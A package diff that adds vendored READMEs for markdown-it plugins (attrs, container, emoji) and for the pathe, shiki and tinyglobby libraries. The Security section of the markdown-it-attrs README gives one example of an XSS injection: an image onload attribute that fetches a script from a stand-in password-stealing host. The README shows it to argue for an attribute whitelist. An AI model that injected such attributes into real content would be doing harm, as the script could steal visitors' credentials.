void 0.1.6 → 0.7.1

package/skills/void/docs/node_modules/void/node_modules/@void/md/node_modules/markdown-it-attrs/README.md

@@ -0,0 +1,386 @@
+# markdown-it-attrs [![GitHub actions](https://github.com/arve0/markdown-it-attrs/workflows/ci/badge.svg)](https://github.com/arve0/markdown-it-attrs/actions) [![npm version](https://badge.fury.io/js/markdown-it-attrs.svg)](http://badge.fury.io/js/markdown-it-attrs) [![Coverage Status](https://coveralls.io/repos/github/arve0/markdown-it-attrs/badge.svg?branch=master)](https://coveralls.io/github/arve0/markdown-it-attrs?branch=master) <!-- omit in toc -->
+
+Add classes, identifiers and attributes to your markdown with `{.class #identifier attr=value attr2="spaced value"}` curly brackets, similar to [pandoc's header attributes](http://pandoc.org/README.html#extension-header_attributes).
+
+# Table of contents <!-- omit in toc -->
+- [Examples](#examples)
+- [Install](#install)
+- [Support](#support)
+- [Usage](#usage)
+- [Security](#security)
+- [Limitations](#limitations)
+- [Ambiguity](#ambiguity)
+- [Custom rendering](#custom-rendering)
+- [Custom blocks](#custom-blocks)
+- [Custom delimiters](#custom-delimiters)
+- [Development](#development)
+- [License](#license)
+## Examples
+Example input:
+```md
+# header {.style-me}
+paragraph {data-toggle=modal}
+```
+
+Output:
+```html
+<h1 class="style-me">header</h1>
+<p data-toggle="modal">paragraph</p>
+```
+
+Works with inline elements too:
+```md
+paragraph *style me*{.red} more text
+```
+
+Output:
+```html
+<p>paragraph <em class="red">style me</em> more text</p>
+```
+
+And fenced code blocks:
+<pre><code>
+```python {data=asdf}
+nums = [x for x in range(10)]
+```
+</code></pre>
+
+Output:
+```html
+<pre><code data="asdf" class="language-python">
+nums = [x for x in range(10)]
+</code></pre>
+```
+
+You can use `..` as a short-hand for `css-module=`:
+
+```md
+Use the css-module green on this paragraph. {..green}
+```
+
+Output:
+```html
+<p css-module="green">Use the css-module green on this paragraph.</p>
+```
+
+Also works with spans, in combination with the [markdown-it-bracketed-spans](https://github.com/mb21/markdown-it-bracketed-spans) plugin (to be installed and loaded as such then):
+
+```md
+paragraph with [a style me span]{.red}
+```
+
+Output:
+```html
+<p>paragraph with <span class="red">a style me span</span></p>
+```
+
+## Install
+
+```
+$ npm install --save markdown-it-attrs
+```
+
+## Support
+Library is considered done from my part. I'm maintaining it with bug fixes and
+security updates.
+
+I'll approve pull requests that are easy to understand. Generally not willing
+merge pull requests that increase maintainance complexity. Feel free to open
+anyhow and I'll give my feedback.
+
+If you need some extra features, I'm available for hire.
+
+## Usage
+
+```js
+var md = require('markdown-it')();
+var markdownItAttrs = require('markdown-it-attrs');
+
+md.use(markdownItAttrs, {
+  // optional, these are default options
+  leftDelimiter: '{',
+  rightDelimiter: '}',
+  allowedAttributes: []  // empty array = all attributes are allowed
+});
+
+var src = '# header {.green #id}\nsome text {with=attrs and="attrs with space"}';
+var res = md.render(src);
+
+console.log(res);
+```
+
+[demo as jsfiddle](https://jsfiddle.net/arve0/hwy17omn/)
+
+
+## Security
+A user may insert rogue attributes like this:
+```js
+![](img.png){onload=fetch('https://imstealingyourpasswords.com/script.js').then(...)}
+```
+
+If security is a concern, use an attribute whitelist:
+
+```js
+md.use(markdownItAttrs, {
+  allowedAttributes: ['id', 'class', /^regex.*$/]
+});
+```
+
+Now only `id`, `class` and attributes beginning with `regex` are allowed:
+
+```md
+text {#red .green regex=allowed onclick=alert('hello')}
+```
+
+Output:
+```html
+<p id="red" class="green" regex="allowed">text</p>
+```
+
+## Limitations
+markdown-it-attrs relies on markdown parsing in markdown-it, which means some
+special cases are not possible to fix. Like using `_` outside and inside
+attributes:
+
+```md
+_i want [all of this](/link){target="_blank"} to be italics_
+```
+
+Above example will render to:
+```html
+<p>_i want <a href="/link">all of this</a>{target=&quot;<em>blank&quot;} to be italics</em></p>
+```
+
+...which is probably not what you wanted. Of course, you could use `*` for
+italics to solve this parsing issue:
+
+```md
+*i want [all of this](/link){target="_blank"} to be italics*
+```
+
+Output:
+```html
+<p><em>i want <a href="/link" target="_blank">all of this</a> to be italics</em></p>
+```
+
+## Ambiguity
+When class can be applied to both inline or block element, inline element will take precedence:
+```md
+- list item **bold**{.red}
+```
+
+Output:
+```html
+<ul>
+<li>list item <strong class="red">bold</strong></li>
+<ul>
+```
+
+If you need the class to apply to the list item instead, use a space:
+```md
+- list item **bold** {.red}
+```
+
+Output:
+```html
+<ul>
+<li class="red">list item <strong>bold</strong></li>
+</ul>
+```
+
+If you need the class to apply to the `<ul>` element, use a new line:
+```md
+- list item **bold**
+{.red}
+```
+
+Output:
+```html
+<ul class="red">
+<li>list item <strong>bold</strong></li>
+</ul>
+```
+
+If you have nested lists, curlys after new lines will apply to the nearest `<ul>` or `<ol>`. You may force it to apply to the outer `<ul>` by adding curly below on a paragraph by its own:
+```md
+- item
+  - nested item {.a}
+{.b}
+
+{.c}
+```
+
+Output:
+```html
+<ul class="c">
+  <li>item
+    <ul class="b">
+      <li class="a">nested item</li>
+    </ul>
+  </li>
+</ul>
+```
+
+This is not optimal, but what I can do at the momemnt. For further discussion, see https://github.com/arve0/markdown-it-attrs/issues/32.
+
+Similar for tables, attributes must be _two_ new lines below:
+```md
+header1 | header2
+------- | -------
+column1 | column2
+
+{.special}
+```
+
+Output:
+```html
+<table class="special">
+  <thead>
+    <tr>
+      <th>header1</th>
+      <th>header2</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <td>column1</td>
+      <td>column2</td>
+    </tr>
+  </tbody>
+</table>
+```
+
+Wellformed the table's _rowspan_ and/or _colspan_ attributes, usage sample below:
+```md
+| A                       | B   | C   | D                |
+| ----------------------- | --- | --- | ---------------- |
+| 1                       | 11  | 111 | 1111 {rowspan=3} |
+| 2 {colspan=2 rowspan=2} | 22  | 222 | 2222             |
+| 3                       | 33  | 333 | 3333             |
+
+{border=1}
+```
+
+Output:
+```html
+<table border="1">
+  <thead>
+    <tr>
+      <th>A</th>
+      <th>B</th>
+      <th>C</th>
+      <th>D</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <td>1</td>
+      <td>11</td>
+      <td>111</td>
+      <td rowspan="3">1111</td>
+    </tr>
+    <tr>
+      <td colspan="2" rowspan="2">2</td>
+      <td>22</td>
+    </tr>
+    <tr>
+      <td>3</td>
+    </tr>
+  </tbody>
+</table>
+```
+
+If you need finer control, [decorate](https://github.com/rstacruz/markdown-it-decorate) might help you.
+
+## Custom rendering
+If you would like some other output, you can override renderers:
+
+```js
+const md = require('markdown-it')();
+const markdownItAttrs = require('markdown-it-attrs');
+
+md.use(markdownItAttrs);
+
+// custom renderer for fences
+md.renderer.rules.fence = function (tokens, idx, options, env, slf) {
+  const token = tokens[idx];
+  return  '<pre' + slf.renderAttrs(token) + '>'
+    + '<code>' + token.content + '</code>'
+    + '</pre>';
+}
+
+let src = [
+  '',
+  '```js {.abcd}',
+  'var a = 1;',
+  '```'
+].join('\n')
+
+console.log(md.render(src));
+```
+
+Output:
+```html
+<pre class="abcd"><code>var a = 1;
+</code></pre>
+```
+
+Read more about [custom rendering at markdown-it](https://github.com/markdown-it/markdown-it/blob/master/docs/architecture.md#renderer).
+
+
+## Custom blocks
+`markdown-it-attrs` will add attributes to any `token.block == true` with {}-curlies in end of `token.info`. For example, see [markdown-it/rules_block/fence.js](https://github.com/markdown-it/markdown-it/blob/760050edcb7607f70a855c97a087ad287b653d61/lib/rules_block/fence.js#L85) which [stores text after the three backticks in fenced code blocks to `token.info`](https://markdown-it.github.io/#md3=%7B%22source%22%3A%22%60%60%60js%20%7B.red%7D%5Cnfunction%20%28%29%20%7B%7D%5Cn%60%60%60%22%2C%22defaults%22%3A%7B%22html%22%3Afalse%2C%22xhtmlOut%22%3Afalse%2C%22breaks%22%3Afalse%2C%22langPrefix%22%3A%22language-%22%2C%22linkify%22%3Atrue%2C%22typographer%22%3Atrue%2C%22_highlight%22%3Atrue%2C%22_strict%22%3Afalse%2C%22_view%22%3A%22debug%22%7D%7D).
+
+Remember to [render attributes](https://github.com/arve0/markdown-it-attrs/blob/a75102ad571110659ce9545d184aa5658d2b4a06/index.js#L100) if you use a custom renderer.
+
+## Custom delimiters
+
+To use different delimiters than the default, add configuration for `leftDelimiter` and `rightDelimiter`:
+
+```js
+md.use(attrs, {
+  leftDelimiter: '[',
+  rightDelimiter: ']'
+});
+```
+
+Which will render
+
+```md
+# title [.large]
+```
+
+as
+
+```html
+<h1 class="large">title</h1>
+```
+
+## Development
+Tests are in [test.js](./test.js).
+
+Run all tests:
+```sh
+npm test
+```
+
+Run particular test:
+```sh
+npm test -- -g "not crash"
+```
+
+In tests, use helper function `replaceDelimiters` to make test run with
+different delimiters (`{}`, `[]` and `[[]]`).
+
+For easy access to HTML output you can use [debug.js](./debug.js):
+
+```sh
+node debug.js # will print HTML output
+```
+
+Please do **not** submit pull requests with changes in package version or built
+files like browser.js.
+
+## License
+
+MIT © [Arve Seljebu](http://arve0.github.io/)

package/skills/void/docs/node_modules/void/node_modules/@void/md/node_modules/markdown-it-container/README.md

@@ -0,0 +1,95 @@
+# markdown-it-container
+
+[![CI](https://github.com/markdown-it/markdown-it-container/actions/workflows/ci.yml/badge.svg)](https://github.com/markdown-it/markdown-it-container/actions/workflows/ci.yml)
+[![NPM version](https://img.shields.io/npm/v/markdown-it-container.svg?style=flat)](https://www.npmjs.org/package/markdown-it-container)
+[![Coverage Status](https://img.shields.io/coveralls/markdown-it/markdown-it-container/master.svg?style=flat)](https://coveralls.io/r/markdown-it/markdown-it-container?branch=master)
+
+> Plugin for creating block-level custom containers for [markdown-it](https://github.com/markdown-it/markdown-it) markdown parser.
+
+__v2.+ requires `markdown-it` v5.+, see changelog.__
+
+With this plugin you can create block containers like:
+
+```
+::: warning
+*here be dragons*
+:::
+```
+
+.... and specify how they should be rendered. If no renderer defined, `<div>` with
+container name class will be created:
+
+```html
+<div class="warning">
+<em>here be dragons</em>
+</div>
+```
+
+Markup is the same as for [fenced code blocks](http://spec.commonmark.org/0.18/#fenced-code-blocks).
+Difference is, that marker use another character and content is rendered as markdown markup.
+
+
+## Installation
+
+node.js, browser:
+
+```bash
+$ npm install markdown-it-container --save
+$ bower install markdown-it-container --save
+```
+
+
+## API
+
+```js
+var md = require('markdown-it')()
+            .use(require('markdown-it-container'), name [, options]);
+```
+
+Params:
+
+- __name__ - container name (mandatory)
+- __options:__
+   - __validate__ - optional, function to validate tail after opening marker, should
+     return `true` on success.
+   - __render__ - optional, renderer function for opening/closing tokens.
+   - __marker__ - optional (`:`), character to use in delimiter.
+
+
+## Example
+
+```js
+var md = require('markdown-it')();
+
+md.use(require('markdown-it-container'), 'spoiler', {
+
+  validate: function(params) {
+    return params.trim().match(/^spoiler\s+(.*)$/);
+  },
+
+  render: function (tokens, idx) {
+    var m = tokens[idx].info.trim().match(/^spoiler\s+(.*)$/);
+
+    if (tokens[idx].nesting === 1) {
+      // opening tag
+      return '<details><summary>' + md.utils.escapeHtml(m[1]) + '</summary>\n';
+
+    } else {
+      // closing tag
+      return '</details>\n';
+    }
+  }
+});
+
+console.log(md.render('::: spoiler click me\n*content*\n:::\n'));
+
+// Output:
+//
+// <details><summary>click me</summary>
+// <p><em>content</em></p>
+// </details>
+```
+
+## License
+
+[MIT](https://github.com/markdown-it/markdown-it-container/blob/master/LICENSE)

package/skills/void/docs/node_modules/void/node_modules/@void/md/node_modules/markdown-it-emoji/README.md

@@ -0,0 +1,101 @@
+# markdown-it-emoji
+
+[![CI](https://github.com/markdown-it/markdown-it-emoji/actions/workflows/ci.yml/badge.svg)](https://github.com/markdown-it/markdown-it-emoji/actions/workflows/ci.yml)
+[![NPM version](https://img.shields.io/npm/v/markdown-it-emoji.svg?style=flat)](https://www.npmjs.org/package/markdown-it-emoji)
+[![Coverage Status](https://coveralls.io/repos/markdown-it/markdown-it-emoji/badge.svg?branch=master&service=github)](https://coveralls.io/github/markdown-it/markdown-it-emoji?branch=master)
+
+> Plugin for [markdown-it](https://github.com/markdown-it/markdown-it) markdown parser, adding emoji & emoticon syntax support. Also supports emoticons [shortcuts](https://github.com/markdown-it/markdown-it-emoji/blob/master/lib/data/shortcuts.js) like `:)`, `:-(`, and others.
+
+__NOTE. v3 changed exports, see below.__
+
+
+## Install
+
+```bash
+npm install i markdown-it-emoji
+```
+
+## Use
+
+### init
+
+```js
+//
+// { full, light, bare } configs available.
+//
+//  full:  includes all available emojis support
+//  light: includes small subset of most useable emojis
+//  bare:  no defaults
+//
+// Also CJS & UMD builds available in `dist/` folder of published package,
+// if your env not supports ESM modules use.
+//
+import { full as emoji } from 'markdown-it-emoji'
+import markdownit from 'markdown-it'
+
+const md = markdownit().use(emoji/* , options */);
+```
+
+Options are not mandatory:
+
+- __defs__ (Object) - rewrite available emoji definitions
+  - example: `{ name1: char1, name2: char2, ... }`
+- __enabled__ (Array) - disable all emojis except whitelisted
+- __shortcuts__ (Object) - rewrite default shortcuts
+  - example: `{ "smile": [ ":)", ":-)" ], "laughing": ":D" }`
+
+_Differences in browser._ If you load the script directly into the page without
+using a package system, the module will add itself globally with the name `markdownitEmoji`.
+
+### change output
+
+By default, emojis are rendered as appropriate unicode chars. But you can change
+the renderer function as you wish.
+
+Render as span blocks (for example, to use a custom iconic font):
+
+```js
+// ...
+// initialize
+
+md.renderer.rules.emoji = function(token, idx) {
+  return '<span class="emoji emoji_' + token[idx].markup + '"></span>';
+};
+```
+
+Or use [twemoji](https://github.com/twitter/twemoji):
+
+```js
+// ...
+// initialize
+
+import twemoji from 'twemoji'
+
+md.renderer.rules.emoji = function(token, idx) {
+  return twemoji.parse(token[idx].content);
+};
+```
+
+__NB 1__. Read [twemoji docs](https://github.com/twitter/twemoji#string-parsing)!
+In case you need more options to change image size & type.
+
+__NB 2__. When using twemoji you can make image height match the line height with this
+style:
+
+```css
+.emoji {
+  height: 1.2em;
+}
+```
+
+### In your markdown file
+
+```md
+Hello from mars :satellite:
+```
+
+becomes
+
+```
+Hello from mars 📡
+```

package/skills/void/docs/node_modules/void/node_modules/@void/md/node_modules/pathe/README.md

@@ -0,0 +1,73 @@
+# 🛣️ pathe
+
+> Universal filesystem path utils
+
+[![version][npm-v-src]][npm-v-href]
+[![downloads][npm-d-src]][npm-d-href]
+[![size][size-src]][size-href]
+
+## ❓ Why
+
+For [historical reasons](https://docs.microsoft.com/en-us/archive/blogs/larryosterman/why-is-the-dos-path-character), windows followed MS-DOS and used backslash for separating paths rather than slash used for macOS, Linux, and other Posix operating systems. Nowadays, [Windows](https://docs.microsoft.com/en-us/windows/win32/fileio/naming-a-file?redirectedfrom=MSDN) supports both Slash and Backslash for paths. [Node.js's built-in `path` module](https://nodejs.org/api/path.html) in the default operation of the path module varies based on the operating system on which a Node.js application is running. Specifically, when running on a Windows operating system, the path module will assume that Windows-style paths are being used. **This makes inconsistent code behavior between Windows and POSIX.**
+
+Compared to popular [upath](https://github.com/anodynos/upath), pathe provides **identical exports** of Node.js with normalization on **all operations** and is written in modern **ESM/TypeScript** and has **no dependency on Node.js**!
+
+This package is a drop-in replacement of the Node.js's [path module](https://nodejs.org/api/path.html) module and ensures paths are normalized with slash `/` and work in environments including Node.js.
+
+## 💿 Usage
+
+Install using npm or yarn:
+
+```bash
+# npm
+npm i pathe
+
+# yarn
+yarn add pathe
+
+# pnpm
+pnpm i pathe
+```
+
+Import:
+
+```js
+// ESM / Typescript
+import { resolve, matchesGlob } from "pathe";
+
+// CommonJS
+const { resolve, matchesGlob } = require("pathe");
+```
+
+Read more about path utils from [Node.js documentation](https://nodejs.org/api/path.html) and rest assured behavior is consistently like POSIX regardless of your input paths format and running platform (the only exception is `delimiter` constant export, it will be set to `;` on windows platform).
+
+### Extra utilities
+
+Pathe exports some extra utilities that do not exist in standard Node.js [path module](https://nodejs.org/api/path.html).
+In order to use them, you can import from `pathe/utils` subpath:
+
+```js
+import {
+  filename,
+  normalizeAliases,
+  resolveAlias,
+  reverseResolveAlias,
+} from "pathe/utils";
+```
+
+## License
+
+Made with 💛 Published under the [MIT](./LICENSE) license.
+
+Some code was used from the Node.js project. Glob supported is powered by [zeptomatch](https://github.com/fabiospampinato/zeptomatch).
+
+<!-- Refs -->
+
+[npm-v-src]: https://img.shields.io/npm/v/pathe?style=flat-square
+[npm-v-href]: https://npmjs.com/package/pathe
+[npm-d-src]: https://img.shields.io/npm/dm/pathe?style=flat-square
+[npm-d-href]: https://npmjs.com/package/pathe
+[github-actions-src]: https://img.shields.io/github/workflow/status/unjs/pathe/ci/main?style=flat-square
+[github-actions-href]: https://github.com/unjs/pathe/actions?query=workflow%3Aci
+[size-src]: https://packagephobia.now.sh/badge?p=pathe
+[size-href]: https://packagephobia.now.sh/result?p=pathe

package/skills/void/docs/node_modules/void/node_modules/@void/md/node_modules/shiki/README.md

@@ -0,0 +1,15 @@
+<img src="https://raw.githubusercontent.com/shikijs/shiki/main/docs/public/logo.svg" width="150" alt="Shiki Logo" />
+
+# Shiki 式
+
+[![NPM version](https://img.shields.io/npm/v/shiki?color=32A9C3&labelColor=1B3C4A&label=npm)](https://www.npmjs.com/package/shiki)
+[![NPM downloads](https://img.shields.io/npm/dm/shiki?color=32A9C3&labelColor=1B3C4A&label=downloads)](https://www.npmjs.com/package/shiki)
+[![Codecov](https://img.shields.io/codecov/c/github/shikijs/shiki?token=B85J0E2I7I&style=flat&labelColor=1B3C4A&color=32A9C3&precision=1)](https://app.codecov.io/gh/shikijs/shiki)
+
+A beautiful syntax highlighter based on TextMate grammars, accurate and powerful.
+
+[📚 **Documentation**](https://shiki.style)
+
+## License
+
+[MIT](./LICENSE)

package/skills/void/docs/node_modules/void/node_modules/@void/md/node_modules/tinyglobby/README.md

@@ -0,0 +1,25 @@
+# tinyglobby
+
+[![npm version](https://img.shields.io/npm/v/tinyglobby.svg?maxAge=3600)](https://npmjs.com/package/tinyglobby)
+[![monthly downloads](https://img.shields.io/npm/dm/tinyglobby.svg?maxAge=3600)](https://npmjs.com/package/tinyglobby)
+
+A fast and minimal alternative to globby and fast-glob, meant to behave the same way.
+
+Both globby and fast-glob present some behavior no other globbing lib has,
+which makes it hard to manually replace with something smaller and better.
+
+This library uses only two subdependencies, compared to `globby`'s [23](https://npmgraph.js.org/?q=globby@16.2.0)
+and `fast-glob`'s [17](https://npmgraph.js.org/?q=fast-glob@3.3.3).
+
+## Usage
+
+```js
+import { glob, globSync } from 'tinyglobby';
+
+await glob(['files/*.ts', '!**/*.d.ts'], { cwd: 'src' });
+globSync('src/**/*.ts', { ignore: '**/*.d.ts' });
+```
+
+## Documentation
+
+Visit https://superchupu.dev/tinyglobby to read the full documentation.